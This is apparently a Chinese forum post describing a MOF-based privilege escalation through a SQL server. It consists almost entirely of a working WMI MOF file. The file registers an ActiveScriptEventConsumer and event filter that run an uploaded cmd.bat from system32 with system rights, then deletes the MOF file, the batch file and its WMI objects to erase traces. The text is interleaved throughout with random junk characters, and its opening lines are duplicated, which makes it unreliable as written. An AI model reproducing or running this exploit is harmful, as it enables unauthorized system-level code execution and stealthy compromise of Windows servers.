这个sql提权MOF需要运行 system下的文件,不能定义路径。2 E. b2 r+ `4 n+ u/ {9 K7 y- _
需要将要运行的命令写入到bat上传到system32目录,然后执行。
5 C9 C1 g' q, \
' z; S, _0 C$ q$ H1 I3 x& ]* v这个sql提权MOF需要运行 system下的文件,不能定义路径。
* c% }7 g% |3 u# k" j/ i3 P需要将要运行的命令写入到bat上传到system32目录,然后执行。% H6 w7 b. R0 g1 i
* d4 ]( A( i# {3 I
#pragma1 b1 }% |! w- a+ e/ }3 B% ^
namespace("\\\\.\\root\\cimv2")
9 r% [1 k4 Q6 ^' z2 t; U& k class
2 J Q0 E. F' A) l+ V' J1 ?5 Y MyClass547, F' l- ]! ?3 [, T7 R
{ [key]
0 c' T, i5 S \+ W7 Z' R c& `' t2 J string; X3 P# c$ g/ z' c4 r; \
Name;
6 x" w: L+ K; Y$ N( k5 ^0 ^ };9 G6 E' g6 y- |" j p7 S
class
5 {- |8 a0 d2 m' |4 B# } ActiveScriptEventConsumer
& o) Q; y$ E+ ~5 F7 O X/ J! m : __EventConsumer { [key]; J \5 y1 O& v4 W
string
+ l# I) T4 a }+ S Name; [not_null]
, d7 t; d6 c" R. ~. a string( O; y& g. c4 e
ScriptingEngine; string, o; M8 H% D7 X( w4 w4 W
ScriptFileName; [template]
! ?3 d% E4 L1 L* C& t! S4 n1 F string Z- P' _5 ]) |, T6 ?/ v6 |
ScriptText; uint32 KillTimeout;( `2 Y- p" ?! H" g! E2 o
}; instance of __Win32Provider as $P {2 N4 w: M5 {0 |" U0 e
Name# h% `! ~: E) @8 }
=' l6 Q2 n+ I" k5 S% X# m
"ActiveScriptEventConsumer"; CLSID =; x( l$ \3 o7 `) b7 q# U) j
"{266c72e7-62e8-11d1-ad89-00c04fd8fdff}";" N# L; R% @0 p0 ~) n% R( s
PerUserInitialization
+ i5 z% @5 u, X9 H& m+ i. J* t+ p = TRUE;
; f3 M) Z9 @5 x }; instance of __EventConsumerProviderRegistration { Provider6 D; k1 [8 X$ t0 _! }8 h1 _
= $P; ConsumerClassNames
& {$ {. L) N. b1 L) Z =2 L6 m7 C4 v2 t- u' z4 ?& s9 w
{"ActiveScriptEventConsumer"};
+ W+ E6 B- v* q( e" n( {% L };# \* E0 e& V5 _6 [) h
Instance of ActiveScriptEventConsumer
! }( _3 i- A" X4 Z( j) B' c) D9 j as $cons { Name$ V2 t3 a; s: k! D# v9 t
=9 ?- m8 \3 ?, o2 C; I9 }& p6 k
"ASEC"; ScriptingEngine
5 r, m: I8 E* L O+ ^ =
8 H/ i( O* J5 z c- n# E5 m. L& i "JScript"; ScriptText
. k, N& m0 U4 T" @ =3 @! V1 y$ P( a2 z
"\ntry {var s = new ActiveXObject(\"Wscript.Shell\");\ns.Run(\"cmd.bat\");} catch (err) {};\nsv = GetObject(\"winmgmts:root\\\\cimv2\");try {sv.Delete(\"MyClass547\");} catch (err) {};try {sv.Delete(\"__EventFilter.Name='instfilt'\");} catch (err) {};try {sv.Delete(\"ActiveScriptEventConsumer.Name='ASEC'\");} catch(err) {};"; };
! B ]1 j; I( l% r0 N( i Instance of ActiveScriptEventConsumer
( M: y5 D$ s2 `4 r as $cons2 { Name3 c) I/ |+ i* \7 w1 z
=
9 s& {6 h8 i7 b+ T+ k "qndASEC"; ScriptingEngine
. o- r: c; O9 d6 x1 e& @$ a =
# W6 p# I" X( G3 }. B "JScript"; ScriptText
4 g5 R: V9 [4 N4 |' C8 n =
9 I! c0 {! E) |) H9 d( v "\nvar objfs = new ActiveXObject(\"Scripting.FileSystemObject\");\ntry {var f1 = objfs.GetFile(\"wbem\\\\mof\\\\good\\\\hBsBa.mof\");\nf1.Delete(true);} catch(err) {};\ntry {\nvar f2 = objfs.GetFile(\"cmd.bat\");\nf2.Delete(true);\nvar s = GetObject(\"winmgmts:root\\\\cimv2\");s.Delete(\"__EventFilter.Name='qndfilt'\");s.Delete(\"ActiveScriptEventConsumer.Name='qndASEC'\");\n} catch(err) {};";
, Z; M; D$ d( z }; instance of __EventFilter as $Filt { Name
% A2 q, m- Y2 l+ p9 t, f =
6 ^) @% t; {6 P$ b9 H! V "instfilt"; Query
: p- Q. V! {; Z: a4 X0 M =7 \# i) p( D5 ]2 X- D$ H9 o& j
"SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \"MyClass547\""; QueryLanguage8 z2 h; k4 J8 r) r& J
=
; s5 l/ X$ v4 ~. [6 v7 V' Q "WQL"; }; instance of __EventFilter as $Filt2 { Name
! L9 [6 H' O9 i* f; e5 ~ =1 L, x7 W9 l( H3 a E
"qndfilt"; Query
7 i' R7 c6 z1 l" t =1 D3 V# ]: t: v0 W+ i+ M
"SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA \"Win32_Process\" AND TargetInstance.Name = \"cmd.bat\""; QueryLanguage
3 e! d6 \# g! s* ?+ | =
; A0 V2 F% J& E' P/ j4 ]4 C/ D4 ~ "WQL"; }; instance of __FilterToConsumerBinding as $bind { Consumer# H2 n; x5 A& g0 O, h8 f
= $cons; Filter
9 W2 W( V3 w8 n3 H+ b9 W0 h = $Filt;
7 `( j# g3 _- p% ` }; instance of __FilterToConsumerBinding as $bind2 { Consumer
3 U4 H: E* [9 w. o8 J = $cons2; Filter& U4 w" i' l. F6 b' q, C
= $Filt2;4 R2 O) B3 `. e
}; instance of MyClass547
, ^9 J8 |& y5 a4 N as $MyClass { Name* i# D$ ], u' W7 [4 C) g5 G
=
i& v* Q9 _2 ~% o# T0 b7 w "ClassConsumer";
$ B5 `6 Q& j1 x1 T9 g" H. f }; |